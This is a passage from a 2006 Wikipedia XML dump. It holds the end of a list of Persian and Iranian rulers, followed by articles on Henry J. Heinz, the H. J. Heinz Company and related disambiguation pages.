*[[Balash of Persia|Balash]], [[484]]–[[488]].
*[[Kavadh I of Persia|Kavadh I]], [[488]]–[[531]].
**[[Djamasp of Persia|Djamasp]], [[496]]–[[498]].
*[[Khosrau I of Persia|Khosrau I]], [[531]]–[[579]].
*[[Hormizd IV of Persia|Hormizd IV]], [[579]]–[[590]].
*[[Khosrau II of Persia|Khosrau II]], [[590]]–[[628]].
**[[Bahram VI of Persia|Bahram VI]], [[590]]–[[591]].
**[[Bistam of Persia|Bistam]], [[591]]–[[592]].
**[[Hormizd V of Persia|Hormizd V]] year [[593]].
*[[Kavadh II of Persia|Kavadh II]], [[628]].
*[[Ardashir III of Persia|Ardashir III]], [[628]]–[[630]].
**[[Peroz II of Persia|Peroz II]],  [[629]].
*[[Shahrbaraz of Persia|Shahrbaraz]], [[630]].
*[[Purandokht|Boran (Purandokht)]] and others, [[630]]–[[631]].
*[[Hormizd VI of Persia|Hormizd VI (or V)]], [[631]]–[[632]].
*[[Yazdegerd III of Persia|Yazdegerd III]], [[632]]–[[651]].

==Rulers after the advent of Islam in Iran==
===Arab caliphs rule===
All Persian provinces fell under The Arabic Caliphate from 661 to 867.

*[[Umayyad]] dynasty, 661–750
*[[Abbasid]] dynasty, 750–867

''divided, 867–1029''

===[[Tahirid]]s in [[Khorasan]], 821–872===
* Taher ebne Hosein ebne Mos'ab, Emir [[821]]–[[822]]
* Talhat ebne Taher, [[822]]–[[828]]
* Abdollah ebne Taher, [[828]]–[[844]]
* Taher ebne Abdollah, [[844]]–[[862]]
* Mohammad ebne Taher, [[862]]–[[872]]

===[[Alavids]], 864–928===
* Hasan ebne Zeid Hasani, Emir [[864]]–[[884]]
* Mohammad ebne Zeid, [[884]]–[[900]]
* Hasan ebne Ali Hoseini, [[913]]–[[916]]
* Hasan ebne Ghasem Hasani, [[916]]–[[928]]

===[[Ziyarid|Ziyarids]], 928–1043===
* Abolhojaj Mardavij ebne Ziyar, Emir [[928]]–[[934]]
* Abu Taher Voshmgeer ebne Ziyar, [[934]]–[[967]]
* Zahir-ol-doleh Behsotoon, [[967]]–[[976]]
* Shams ol Mo'ali Abol-hasan Ghaboos, [[976]]–[[1012]]
* Falak ol Mo'ali Manuchehr ebne Ghabus, [[1012]]–[[1031]]
* Anushiravan ebne Manuchehr, [[1031]]–[[1043]]

===[[Buwayhid|Buyyids]], 932–1056===
====Diylamids of Fars ====
* Emad o-dowleh Abol Hasan, Emir [[932]]–[[939]]
* Azad o-dowleh, [[939]]–[[982]]
* Sharaf o-dowleh, [[982]]–[[989]]
* Samsam o-dowleh, [[989]]–[[998]]
* Baha o-dowleh, [[998]]–[[1012]]
* Soltan o-dowleh, [[1012]]–[[1024]]
* Emad o-dowleh Abu Kalijar, [[1024]]–[[1048]]
* Malek Rahim Abu Nasr Khosrow Firuz, [[1048]]–[[1055]]

====Diylamids of Khuzestan and Kerman==== 

* Mo'ez o-dowleh, [[932]]–[[966]]
* Azad o-dowleh, Bakhtiar [[966]]–[[977]]
* Azado o-dowleh Abu Shoja', [[977]]–[[982]]
* Baha o-dowleh, [[989]]–[[1012]]
* Soltan o-dowleh, [[1012]]–[[1021]]
* Abu Kalijar Marzban, [[1043]]–[[1048]]
* Ghavam o-dowleh, [[1012]]–[[1028]]
* Abu Mansur Fulad sotoon, [[1048]]–[[1056]]

====Diylamids of Rey, Isfahan, and Hamedan====
* Rokn o-dowleh, Sultan [[932]]–[[976]]
* Mo'ayyed o-dowleh, [[976]]–[[983]]
* Fakhr o-dowleh, [[976]]–[[997]]
* Majd o-dowleh, [[997]]–[[1029]]
* Shams o-dowleh, [[997]]–[[1021]]
* Sama o-dowleh, [[1021]]–[[1023]]

===Saffarids in Seistan and beyond, 861–1002, ===
* Yagub Leith Saffar
* Abu Yusef Yaqub ebne Lais, surnamed &quot;the coppersmith&quot;, Emir [[861]]–[[878]] 
* Amr o ebne Lais, [[878]]–[[900]]
* Abol Hasan Taher ebne Mohammad ebne Amro ebne Lais, [[900]]–[[908]]
* Lais ebne Ali ebne Lais, [[908]]–[[910]]
* Abu Ali Mohammad ebne Ali ebne Lais, [[910]]–[[910]]
* Abu Jafar Ahmad ebne Mohammad ebne Khalf, [[923]]–[[963]]
* Abu Ahmad Khalf ebne Ahmad, [[963]]–[[1002]]

===[[Samanid|Samanids]] (Proto-[[Tajiks]]), 892–998===
* Adel; Amir Mazi Abyu Ebrahim Esmail ebne Ahmad, Emir [[892]]–[[907]]
* Shaheed; Abu Nasr Ahmad ebne Esmail, [[907]]–[[913]]
* Saeed; Abol Hasan Nasr ebne Ahmad, [[913]]–[[942]]
* Hamid; Abu Mohammad Nuh ebne Nasr, [[942]]–[[954]]
* Rashid; Abul Foares Abdolmaleh ebne Nuh, [[954]]–[[961]]
* Mo'ayyed; Amir Sadeed Abu Saleh Mansur ebne Nuh, [[961]]–[[976]]
* Radhi; Shahanshah Abolqasem Nuh ebne Mansur, [[976]]–[[996]]
* Abol Hareth; Mansur ebne Nuh, [[996]]–[[998]]
* Abol Foares; AbdolMalek ebne Nuh, [[998]]–[[998]]

===[[Ghaznavid Empire|Ghaznavids]], 997–1186===
* [[Mahmud of Ghazni|Yameen o-dowleh AbolQasem Mahmud ebne Saboktekeen]], Sultan [[997]]–[[1030]]
* Jalal o-dowleh Abu Ahmad Mohammad ebne Mahmud, [[1030]]–[[1030]]
* Shahab o-dowleh Abu Sa'd Masud ebne Mahmud, [[1030]]–[[1040]]
* Shahab o-dowleh Abolfath Modud ebne Masud, [[1040]]–[[1049]]
* Baha o-dowleh Abol Hasan Ali ebne Masud, [[1049]]–[[1049]]
* Azad o-dowleh Abu Mansur Abdol Rashid ebne  Mahmud ebne Saboktekeen, [[1049]]–[[1052]]
* Jamal o-dowleh Abolfazl Farrokhzaad ebne Masud  ebne Mahmud, [[1052]]–[[1059]]
* Zaheer o-dowleh Abol Mozaffar Ebrahim, [[1059]]–[[1098]]
* Ala o-dowleh Abu Saeed Masud ebne Ebrahim, [[1098]]–[[1115]]
* Soltan o-dowleh Abol-fath Arsalan Shah, [[1115]]–[[1117]]
* Yameen o-dowleh Abol Mozaffar Baharm Shah ebne Masud, [[1117]]–[[1153]]
* Taj o-dowleh Abol Shoja Khosro Shah ebne Bahram Shah, [[1153]]–[[1160]]
* Saraj o-dowleh Abolmolook Khosrow Malek ebne Khosro Shah, [[1160]]–[[1186]]

===[[Seljuk Turk|Seljuk Turks]], 1029–1194===
* [[Toghrül|To&amp;#x11F;rül]] bin Mikail (Tughril Beg), Sultan [[1037]]–[[1063]]
* [[Alp Arslan]] bin Chaghri [[1063]]–[[1072]]
* Jalal ad-Dawlah [[Malik Shah I]] [[1072]]–[[1092]]
* Nasir ad-Din [[Mahmud I of Great Seljuk|Mahmud I]] [[1092]]–[[1094]]
* Rukn ad-Din [[Barkiyaruq]] [[1094]]–[[1105]]
* Mu'izz ad-Din [[Malik Shah II]] [[1105]]
* Ghiyath ad-Din [[Mehmed I of Great Seljuk|Mehmed I]] Tapar (Muhammad) [[1105]]–[[1118]]
* Mu'izz ad-Din [[Ahmed Sanjar]] [[1097]]–[[1157]]
* [[Mahmud II of Great Seljuk|Mahmud II]] [[1118]]–[[1131]]
* [[Dawud of Great Seljuk|Dawud]] (David) [[1131]]–[[1132]]
* [[Toghrül II|To&amp;#x11F;rül II]] (Tughril Beg) [[1132]]–[[1134]]
* [[Mas'ud]] [[1134]]–[[1152]]
* [[Malik Shah III]] [[1152]]–[[1153]]
* [[Mehmed II of Great Seljuk|Mehmed II]] (Muhammad II) [[1153]]–[[1160]]
* [[Süleyman of Great Seljuk|Süleyman Shah]] (Sulaiman Shah) [[1160]]–[[1161]]
* [[Arslan Shah]] [[1161]]–[[1176]]
* [[Tohrül III|To&amp;#x11F;rül III]] (Tughril Beg III) [[1176]]–[[1194]]

''divided, 1194–1256''

===[[Khwarezmid Empire|Khwarazmids]], 1096–1230===
An empire built from Azerbaidjan, covering part of Iran and neighbouring Central Asia.

* Ghotbedeen Mohammad ebne Anushtekeen Gharajeh, Shah [[1096]]–[[1128]]
* Alaodeen Abol Mozaffar ebne Ghotbedeen ebne Mohammad [[1128]]–[[1156]]
* Tajedeen Abolfath Il Arsalan [[1156]]–[[1171]]
* Jalaledeen Mahmud Soltanshah ebne Il Arsalan [[1171]]–[[1172]]
* Aladdin Takesh ebne Il Arsalan [[1172]]–[[1199]]
* Soltan Jalaledeen Mohammad ebne Aladdin Takesh[[1199]]–[[1220]]
* Jalaledeen ebne Aladdin Mohammad [[1220]]–[[1230]]
Eliminated for good by the Mongol horde

===[[Ilkhanate|Ilkhans]], 1256–1380===
''The preceding era of disunity, also called '''First era of fragmentation''', was ended through conquest by the Ilkhans, a pagan Mongol horde, nominally subject to the Great Khan. (''Ilkhan'' means governor of an ''il'', i.e. province).''

*[[Hülëgü]] Khan ebne Tulay ebne Genghis, Ilkhan [[1256]]–[[1265]]
*[[Abaqa]] Khan ebne Hulegu, [[1265]]–[[1282]]
*Sultan Ahmad [[Tekuder]] ebne Hulegu, [[1282]]–[[1284]]
*[[Arghun]] Khan ebne Abaqa, [[1284]]–[[1291]]
*Gaikhatu ebne Abaqa, [[1291]]–[[1295]]
*Baidukhan ebne Toghay ebne Hulegu, [[1295]]
*[[Ghazan]] Khan ebne Arghun, [[1295]]–[[1304]]
*[[Öljeitü]] Khoda bandeh ebne Arghun, [[1304]]–[[1316]]
*[[Abu Sa'id]] Bahador Khan ebne Oljeitu, [[1316]]–[[1335]] (last of Chinggisid il-khans)
*[[Arpa Ke'un]], [[1335]]–[[1336]]
*Musa Khan ebne Ali, [[1336]]–[[1353]]
*Muhammad Khan ebne Mangu, [[1337]]–[[1338]]
*Sati beg, dauther of Oljeitu, [[1338]]–[[1340]]
*Shah Jahan Teimoor ebne Alafarang, [[1338]]–[[1339]]
*[[Soleiman Khan]], [[1340]]–[[1344]]
*Togha Teimoor Khan, [[1335]]–[[1352]]
*Anushiravan e Adel, [[1343]]–[[1355]]

''The '''Second era of fragmentation''' begins in [[1343]], as remnants of the Hordes competed with local dynasts for authority. This era ends with the conquests by [[Timur]], around [[1380]]''

===[[Muzaffarids|Muzaffarid Dynasty]], 1314–1393===
* Mubariz ad-Din Muhammad ibn al-Muzaffar, Emir 1314–1358
* Abu'l Fawaris Djamal ad-Din Shah Shuja (at Yazd, 1353 at Shiraz ), 1335–1364 with...
* Qutb Al-Din Shah Mahmud (at Isfahan) ( d. 1375), 1358–1366
* Abu'l Fawaris Djamal ad-Din Shah Shuja (at Yazd, 1353 at Shiraz ), 1366–1384 
* Mujahid ad-Din Zain Al-Abidin 'Ali, 1384–1387

In [[1387]] [[Timur]] captured [[Isfahan]].

*Imad ad-Din Sultan Ahmad (at Kerman), 1387–1391 with...
*Mubariz ad-Din Shah Yahya (at Shiraz), 1387–1391 and...
*Sultan Abu Ishaq (in Sirajan), 1387–1391
*Shah Mansur (at Isfahan), 1391–1393

===[[Timurid dynasty]], 1380–1507===
*[[Timur]] (&quot;Tamerlane&quot;), 1369–1405, nominally under the authority of the [[Chagatai Khanate]]

The '''third era of fragmentation''' follows, as Timur's Empire loses cohesion and local rulers strive against each other.

*Pir Muhammad, grandson of Timur, 1405–1407, effectively ruled in [[Fars]]
*[[Miran Shah|Djalal Ud-Din Miran Shah]], son of Timur, 1405–1408, ruled [[Azerbaijan]]
*Rustam, 1405–1409, ruled [[Arabistan]]
*[[Khalil Sultan (Timurid dynasty)]], son of Miran Shah, 1405–1409, ruled in [[Samarkand]], surrendered to [[Shah Rukh (Timurid dynasty)|Shah Rukh]], became governor of Rayy until his death in 1411
*[[Shah Rukh (Timurid dynasty)|Shah Rukh]], son of Timur, 1405–1447, ruled first in [[Transoxiana]]
**Ayyal, 1414, opposed Shah Rukh
**Ailankar, 1414–1415, opposed Shah Rukh 
*Bayqara, 1409–1412, ruled in Fars
*Iskandar, 1412–1414, ruled first in Fars, then Azerbaijan &amp; Arabistan 

In [[1410]] the Turcoman horde [[Kara Koyunlu]] (Black Sheep) captured Baghdad and their [[Rulers of Kara Koyunlu|leaders]] ruled the western parts of the Timurid realm. In the East however, [[Shah Rukh (Timurid dynasty)|Shah Rukh]] was able to secure his rule in  [[Transoxiana]] and Fars.

*[[Ulugh Beg]], son of Shah Rukh, 1447–1449

'''Rulers in [[Transoxiana]]''':

*[['Abd al-Latif]], son of Ulugh Beg, 1449–1450
*[['Abd-Allah|Abd-Allah Mirza]], grandson of Shah Rukh, 1450–1451
*[[Abu Sa'id (Timurid dynasty)|Abu Sa'id ibn Muhammad]], grandson of Miran Shah, 1451–1469, conquered [[Khurasan]] in 1459

'''Rulers in [[Khurasan]]''':

*[[Babur Ibn-Baysunkur]], grandson of Shah Rukh, 1449–1457
*[[Mahmud (Timurid Dynasty)|Shah Mahmud]], son of Babur, 1457
*[[Ibrahim (Timurid Dynasty)|Ibrahim]], 1457
*[[Jahan Shah]], leader of the [[Kara Koyunlu|Black Sheep Turcomans]], 1457–1458

''[[Abu Sa'id (Timurid dynasty)|Abu Sa'id]], agreed to divide Iran with the [[Kara Koyunlu|Black Sheep Turcomans]] under [[Jahan Shah]], but the [[Ak Koyunlu|White Sheep Turcomans]] under [[Uzun Hassan]] defeated and killed first Jahan Shah and then Abu Sa'id.''

''After Abu Sa'id's death a '''fourth era of fragmentation''' follows. While the [[Rulers of Ak Koyunlu|White Sheep Turcomans]] dominated in the western parts until the ascent of the [[Safavid]] dynasty, the Timurides could maintain their rule in [[Samarkand]] and [[Herat]].''

'''Rulers in Samarkand''':

*[[Sultan Ahmad]], son Abu Sa'id, 1469–1494
*[[Sultan Mahmud]], son of Abu Sa'id, 1494–1495
*Masud, 1495
*Sultan Baysunghur, 1495–1497
*Sultan Ali Mirza 1495–1500

''conquered by the [[Uzbeks]]''

'''Rulers in Herat''':

*[[Sultan Mahmud]], son of Abu Sa'id, 1469
*[[Husayn Bayqarah]], 1469–1506
*[[Badi' al-Zaman]], son of Husayn, 1506–1507, fled to the court of [[Ismail I]] 

''conquered by the [[Uzbeks]], later recaptured by the [[Safavids]]''

==[[Shah|Shahs]] of modern Iran==
The modern Iranian monarchy was established in [[1502]] after the [[Safavid]] Dynasty came to power under Shah [[Ismail I]], and ended the so-called &quot;fourth era&quot; of political fragmentation.

===[[Safavid dynasty]], [[1502]]–[[1736]]===
*[[Ismail I]], [[1502]]–[[1524]]
*[[Tahmasp I]], [[1524]]–[[1576]]
*[[Ismail II]], [[1576]]–[[1578]]
*[[Mohammad I Khodabanda]], [[1578]]–[[1587]] or [[1588]]
*[[Abbas I of Safavid|Abbas I the Great]], [[1587]] or [[1588]] -[[1629]]
*[[Safi of Persia|Safi I]], [[1629]]–[[1642]]
*[[Abbas II of Persia|Abbas II]], [[1642]]–[[1666]] or [[1667]]
*[[Suleiman I of Persia|Suleiman I]] (Safi II), [[1666]] or [[1667]]–[[1694]]
*[[Husayn (Safavid)|Husayn]], [[1694]]–[[1722]]
*[[Tahmasp II]], [[1723]]–[[1732]]
*[[Abbas III]], [[1732]]–[[1736]]

===[[Afsharid dynasty]], [[1736]]–[[1749]]===
* [[Nadir Shah]], [[1736]]–[[1747]]
* [[Adil Shah]], [[1747]]–[[1748]]
* [[Ebrahim Afshar]], [[1748]]
* [[Shah Rukh of Persia|Shah Rukh]], [[1748]]–[[1797]], he lost power in [[1750]] but nominally remained Shah.

===[[Zand dynasty]], [[1750]]–[[1794]]===
* [[Karim Khan]], [[1750]]–[[1779]]
* [[Abol Fath Khan]], [[1779]]
* [[Ali Murad Khan]], [[1779]]
* [[Mohammad Ali Khan]], [[1779]]
* [[Sadiq Khan (Shah of Persia)|Sadiq Khan]], [[1779]]–[[1782]]
* [[Ali Murad Khan]], [[1782]]–[[1785]] 
* [[Jafar Khan]], [[1785]]–[[1789]]
* [[Lotf Ali|Lotf Ali Khan]], [[1789]]–[[1794]]

===[[Qajar dynasty]], [[1796]]–[[1925]]===
*[[Agha Mohammad Khan Qajar]], [[1796]]–[[1797]]
*[[Fath Ali Shah]], [[1797]]–[[1834]]
*[[Mohammad Shah Qajar]], [[1834]]–[[1848]]
*[[Nasser-al-Din Shah]], [[1848]]–[[1896]]
*[[Mozzafar-al-Din Shah]], [[1896]]–[[1907]]
*[[Mohammad Ali Shah]], [[1907]]–[[1909]]
*[[Ahmad Shah Qajar]] ([[1909]]–[[1925]])

===[[Pahlavi dynasty]], [[1925]]–[[1979]] and in exile===
*[[Reza Pahlavi of Iran|Reza Shah Pahlavi]], [[1925]]–[[1941]]
*[[Mohammad Reza Pahlavi|Mohammad Reza Shah Pahlavi]], [[1941]]–[[1979]] and his wife [[Farah Pahlavi|Empress Farah Pahlavi]], [[1938]]-present

In [[1979]] a revolution led by [[Ayatollah Khomeini]] forced Shah Mohammad Reza Pahlavi into exile, and established an [[Islamic Republic]].
*Cyrus Reza II Pahlavi, the firstborn (31st October 1960) son of Mohammad Reza, appointed as Heir Apparent with the title of [[Vali Ahd-i-Iran]] 'Crown Prince of Iran' on 26th October 1967, is pretender to the imperial thone, in exile, since he succeeded on the death of his father as Head of the Imperial House of Pahlavi and assumed the titles of Shahanshah and Aryamehr together with the style of His Imperial Majesty, 27th July 1980.

==See also==
*[[History of Iran]]

==External links==
* http://www.family-of-man.com/CatalogEnglish/Asia/Central_Asia/timurid_emirate.html

[[Category:History of Iran]]
[[Category:Iranian peoples]]
[[Category:Lists of monarchs|Persia]]
[[Category:Lists of office-holders|Persia, List of kings of]]
[[Category:Monarchs of Persia|*]]
[[Category:Persian history]]

[[de:Liste der Herrscher des Irans]]
[[fa:پادشاهان ایران]]
[[fi:Luettelo Persian kuninkaista]]
[[nl:Lijst van koningen van Perzië]]
[[no:Liste over konger i Persia]]
[[pl:W&amp;#322;adcy Persji]]
[[sl:seznam perzijskih kraljev]]
[[zh:&amp;#20234;&amp;#26391;&amp;#21531;&amp;#20027;&amp;#21015;&amp;#34920;]]</text>
    </revision>
  </page>
  <page>
    <title>Homology</title>
    <id>13878</id>
    <revision>
      <id>35711324</id>
      <timestamp>2006-01-18T19:31:12Z</timestamp>
      <contributor>
        <username>Michael Hardy</username>
        <id>4626</id>
      </contributor>
      <text xml:space="preserve">'''Homology''' may refer to:

*[[Homology (anthropology)]]
*[[Homology (biology)]]
*[[Homology (mathematics)]]
*[[Homology (sociology)]]
*[[Homologous series]] (chemistry)

{{disambig}}

[[de:Homologie]]</text>
    </revision>
  </page>
  <page>
    <title>Henry J. Heinz</title>
    <id>13879</id>
    <revision>
      <id>40874022</id>
      <timestamp>2006-02-23T16:10:04Z</timestamp>
      <contributor>
        <username>Phil Boswell</username>
        <id>24373</id>
      </contributor>
      <comment>migrate {{[[template:book reference|book reference]]}} to {{[[template:cite book|cite book]]}} using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">[[Image:HenryJHeinz.jpeg|thumb|right|150px]]
'''Henry John Heinz''' ([[October 11]], [[1844]]–[[May 14]], [[1919]]) was a [[United States]] businessman.

Heinz was one &lt;!-- (1) do we really need this? --&gt; of eight children born to John Henry and Anna Schmidt Heinz. Both parents had emigrated from [[Germany]] and settled in the Birmingham section of [[Pittsburgh, Pennsylvania]]—today known as the [[South Side (Pittsburgh)|South Side]].

When Henry was five the family moved several miles up the Allegheny River to the little town of [[Sharpsburg, Pennsylvania|Sharpsburg]]. There, at age six, young Henry (Called Harry by his family) started helping his mother tend a small backyard garden behind the family home. At age eight Henry was canvassing the neighborhood with a basket under each arm selling vegetables from the family garden door to door.

By age nine he was growing, grinding, bottling and selling his own brand of [[horseradish]] sauce. At ten he was given a ¾ acre (3,000 m²) garden of his own and had graduated to a [[wheelbarrow]] to deliver his vegetables. At twelve he was working 3½ acres (14,000 m²) of garden using a horse and cart for his three-times-a-week deliveries to grocery stores in Pittsburgh. At seventeen he was grossing $2,400 a year—a handsome sum for the times.

Heinz attended a business college and after graduating started employment with his father's brick-manufacturing business, eventually becoming a partner in the firm. All the while he continued growing and selling fresh produce.  

In 1869, Heinz founded Heinz Noble &amp; Company with a friend, L. C. Noble, and began marketing horseradish.  The company went bankrupt in 1875, but the following year Heinz founded another company, F &amp; J Heinz, with his brother and a cousin.  One of this company's first products was tomato [[ketchup]].

The company continued to grow, and in 1888 Heinz bought out his other two partners and reorganized the company as the [[H J Heinz Company]], the name it carries to the present day.  Its famous slogan, &quot;57 varieties,&quot; was introduced by Heinz in 1896.  Inspired by an advertisement he saw while riding an elevated train in [[New York City]] (a shoe store boasting of &quot;21 styles&quot;), Heinz picked the number more or less at random because he liked the sound of it, selecting 7 specifically because, as he put it, of the &quot;psychological influence of that figure and of its alluring significance to people of all ages.&quot;  (The company marketed far more than 57 varieties of product even at that point.)

H J Heinz was incorporated in 1905, and Heinz served as its first president, remaining in the position for the rest of his life.  Under his tutelage, the company was noted for fair treatment of workers and for pioneering safe and sanitary food preparation.  Heinz led a successful lobbying effort in favor of the [[Pure Food and Drug Act]] in 1906.  He also was very involved working in his church's Sunday school and in various philanthropic endeavors, notably the Sarah Heinz settlement house in Pittsburgh, which he founded in 1894 and named after his wife.

At the time of his death in Pittsburgh at the age of 74, the company had over twenty food processing plants, and also included seed farms and container factories.  Heinz was the great-grandfather of Pennsylvania Senator [[John Heinz]].

==References==
* {{cite book | last = Alberts | first =  Robert C. | title = The Good Provider: H. J. Heinz and His 57 Varieties | location = Boston | publisher =  [[Houghton Mifflin Company]] | year = 1973 | id = ISBN 0395171261 }}

[[Category:1844 births|Heinz, Henry J.]]
[[Category:1919 deaths|Heinz, Henry J.]]
[[Category:People from Pittsburgh|Heinz, Henry J.]]

[[da:Henry John Heinz]]
[[de:Henry John Heinz]]</text>
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  </page>
  <page>
    <title>Heinz</title>
    <id>13880</id>
    <revision>
      <id>41904113</id>
      <timestamp>2006-03-02T14:31:39Z</timestamp>
      <contributor>
        <username>E-Kartoffel</username>
        <id>886257</id>
      </contributor>
      <text xml:space="preserve">'''Heinz''' has several meanings:

*''Heinz'' is the common trading name for the [[H. J. Heinz Company]], known for their [[pickle]]s, [[ketchup]], [[baked beans]] and [[soup]]s.

*[[Heinz Field]] is the mutual home of the [[Pittsburgh Steelers]] of the [[National Football League]] and the [[University of Pittsburgh Panthers]] of Division I-A College Football.  The stadium's [[naming rights]] were purchased by [[Pittsburgh]] based H. J. Heinz Company

*[[Teresa Heinz Kerry]] is the wife of US presidential candidate (2004) [[John Kerry]], and the former wife of the late senator [[John Heinz]], a member of the canning family.  

*[[Mixed-breed dog]]s are sometimes called ''Heinz'' or ''Heinz 57'' after the canning company's long-time [[slogan]] &quot;57 varieties,&quot; referring to their many kinds of canned food.

*Heinz is also the name of an [[Austria]]n [[Rock (music)|rock]] band. See [[Heinz (band)]].

*Heinz is the name of a concept to describe software offerings in a modular way and identify possible business models for open source.

*[[Heinz Winckler]] is a South African singer who rose to fame after winning the first [[South Africa]] Idols competition.

*[[Heinz (singer)|Heinz Burt]] was a German-born British pop singer and musician, known by his first name only,  best known for his work with [[Joe Meek]]

*[[Alfred Heinz Reumayr]] was arrested for his plot to blow up the [[Trans-Alaska Pipeline System]] on Jan 1, 2000.

*[[Marek Heinz]] is a notable [[Czech Republic national football team|Czech]] [[soccer]] player.

*[[Robert Heinz]], German pathologist (1865-1924), who described [[Heinz body | Heinz bodies]].  
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>H. J. Heinz Company</title>
    <id>13881</id>
    <revision>
      <id>41646749</id>
      <timestamp>2006-02-28T19:47:36Z</timestamp>
      <contributor>
        <username>Elf</username>
        <id>40082</id>
      </contributor>
      <comment>heinz field info rm from [[Heinz 57]]</comment>
      <text xml:space="preserve">{{Infobox Company |
  company_name   = H. J. Heinz Company |
  company_logo   = [[Image:Heinz.png|200px|Heinz logo]] |
  company_type   = Public ([[NYSE]]: [http://www.nyse.com/about/listed/lcddata.html?ticker=HNZ HNZ]) |
  foundation     = [[1869]] |
  location       = Box 57 &lt;br&gt;[[Pittsburgh, Pennsylvania]] 
[[United States]] |
  key_people     = [[William R. Johnson]]; Chairman, President &amp; CEO&lt;br \&gt;[[Arthur Winkleblack]]; COO &amp; Exec. VP|
  industry       = [[Food processing]] |
  revenue        = [[Image:green up.png]]$8.415 billion [[United States dollar|USD]] ([[2004]]) |
  num_employees  = 37,500 ([[2005]]) |
  products       = [[Ketchup]], [[condiments]], frozen food, [[soup]]s, beans and pasta meals, [[tuna]] and other seafood products, infant food and other processed food products |
  homepage       = [http://www.heinz.com/ www.heinz.com]
}}
'''H. J. Heinz Company''' {{nyse|HNZ}}, commonly known as just '''Heinz''', famous for both its &quot;57 Varieties&quot; slogan and its commercial jingle &quot;Beanz Meanz Heinz&quot;, was founded in [[1869]] by [[Henry J. Heinz|Henry John Heinz]] in [[Sharpsburg, Pennsylvania|Sharpsburg]], [[Pennsylvania]], [[United States]]. Heinz, then 25 years old, began by delivering processed condiments to local grocers by horse-drawn wagon. The company's first product was [[horseradish]], followed by [[pickle]]s, [[sauerkraut]], and [[vinegar]].

The company was initially named the Anchor Pickle and Vinegar Works, and was run by Heinz and partner [[L. C. Noble]]. The name changed to Heinz, Noble &amp; Company in [[1872]] when [[E. J. Noble]] joined on and the company relocated to nearby [[Pittsburgh, Pennsylvania|Pittsburgh]].

After a banking panic forced him into [[bankruptcy]] in [[1875]], Heinz restarted his business with the help of his brother John and his cousin [[Frederick Heinz|Frederick]], and in and the following year they introduced what would become its most well-known product: [[tomato]] [[ketchup]]. The new company was known as F. &amp; J. Heinz until [[1888]], when Henry bought controlling interest from his brother and gave the business its current name.

[[Image:Curry_Beanz.jpg|thumb|left|New and old versions of the brand]]

The company's famous slogan, &quot;57 Varieties&quot;, was chosen by Henry Heinz in [[1892]] after he saw an advertisement for &quot;21 varieties of shoes&quot; in an [[Metro|elevated train]] car in [[New York, New York|New York]]. In actuality, the company was producing over sixty different products at the time, but Heinz chose the number 57 for what his biographer called &quot;[[occult]]&quot; reasons.

Another famous slogan is &quot;Beanz Meanz Heinz&quot;, used in the [[1960s]] to advertise their [[baked beans]] in the [[United Kingdom]]. In [[2004]] they started spelling &quot;Baked Beanz&quot; with a &quot;z&quot; on their beanz, which is seen as a reminder of the slogan.

In [[1919]] Henry Heinz died, and control of the company passed to his son, [[Howard Heinz]], who was then succeeded by H. J. Heinz II in [[1941]]. By [[1972]], sales had reached the [[billion]] [[United States dollar|dollar]] mark. Today, Heinz sells more than 1,300 products worldwide ranging from ketchup to baby food and canned seafood.

Henry J. Heinz II's son was [[United States]] [[United States Senate|Senator]] from Pennsylvania [[John Heinz]], who died in a plane crash on [[April 4]], [[1991]]. His widow, [[Teresa Heinz Kerry|Teresa]] married U.S. Senator from [[Massachusetts]] [[John Kerry]] in [[1995]]. Kerry ran unsuccessfully for President in [[2004]]. Thanks to Teresa Heinz Kerry, the 2004 presidential campaign gave the Heinz Company considerable publicity.

In [[2001]] the [[Food Standards Agency]] of the [[Government of the United Kingdom]] found contamination of Heinz canned baked beans products with the [[hormone disruptor]] [[bisphenol]] &lt;sup&gt;[http://www.foe.co.uk/resource/press_releases/20010508144446.html]&lt;/sup&gt;.

Heinz paid $57 million for [[naming rights]] to [[Heinz Field]] in [[Pittsburgh, Pennsylvania]] where it has its headquarters.

==Trivia==
In 2004, Argentinian Soccer player Gabriel Ivan Heinze, upon signing for Manchester United, chose 57 as his squad number for the season, but was later convinced to change it to the more conventional 4.

==Corporate governance==
Current members of the [[board of directors]] of the [[corporation]] are: [[Charles Bunch]], [[Mary Choksi]], [[Leonard Coleman]], [[Pete Coors|Peter Coors]], [[Edith Holiday]], [[William R. Johnson]], [[Candace Kendle]], [[Dean O'Hare]], [[Lynn Swann]], and [[Thomas Usher]].

==Subsidiaries of HJHC==
* [[Appetizers And Inc]]
* [[Bagel Bites]] frozen snacks
* [[Boston Market]] frozen meals and side dishes
* Deli-Mex
* [[HAK|Hak BV]]
* [[Honig merkartikelen]]
* [[Koninklijke De Ruijter BV]]
* [[Jack Daniels]] grilling sauce
* [[Ore-Ida]] frozen potatoes
* [[Pagnier|Pagnier BV]]
* [[Smart Ones]] low-fat frozen meals (under the [[Weight Watchers]] name)
* [[TGI Fridays]]{{citeneeded}}
* [[Venianco|Venianco NV]]
* [[Watties]]
* [[Wylers]]

{{listdev}}

==Internationally==
===Australia===
In Australia, Heinz is best known for tinned Baked Beans in Tomato Sauce, and Spaghetti in a similar suace. Heinz' soups lines are not widely recognised in Australia.

Their most iconic product is Heinz BIG RED Tomato Sauce.

==See also==
*[[Heinz 57]]

==External links==
*[http://www.heinz.com/jsp/history.jsp Heinz History]
*[http://www.snopes.com/business/hidden/heinz57.asp The story of &quot;57 Varieties&quot;]
*[http://www.straightdope.com/classics/a1_195 Cecil Adams' The Straight Dope]
[http://www.heinz.com.au/html/products/products.asp?ID=85&amp;categoryID=14 Heinz BIG RED Tomato Sauce] (Australian flagship product)

{{Pittsburgh Corporations}}

[[Category:Companies based in Pennsylvania]]
[[Category:Food companies of the United States]]
[[Category:Multinational food companies]]

[[de:H. J. Heinz Company]]
[[es:Heinz (Compañía)]]
[[nl:H.J. Heinz Company]]
[[sv:H. J. Heinz Company]]
[[zh:亨氏]]</text>
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  </page>
  <page>
    <title>Huffman coding</title>
    <id>13883</id>
    <revision>
      <id>41119795</id>
      <timestamp>2006-02-25T04:20:07Z</timestamp>
      <contributor>
        <username>Hayk</username>
        <id>134446</id>
      </contributor>
      <minor />
      <comment>+ru:</comment>
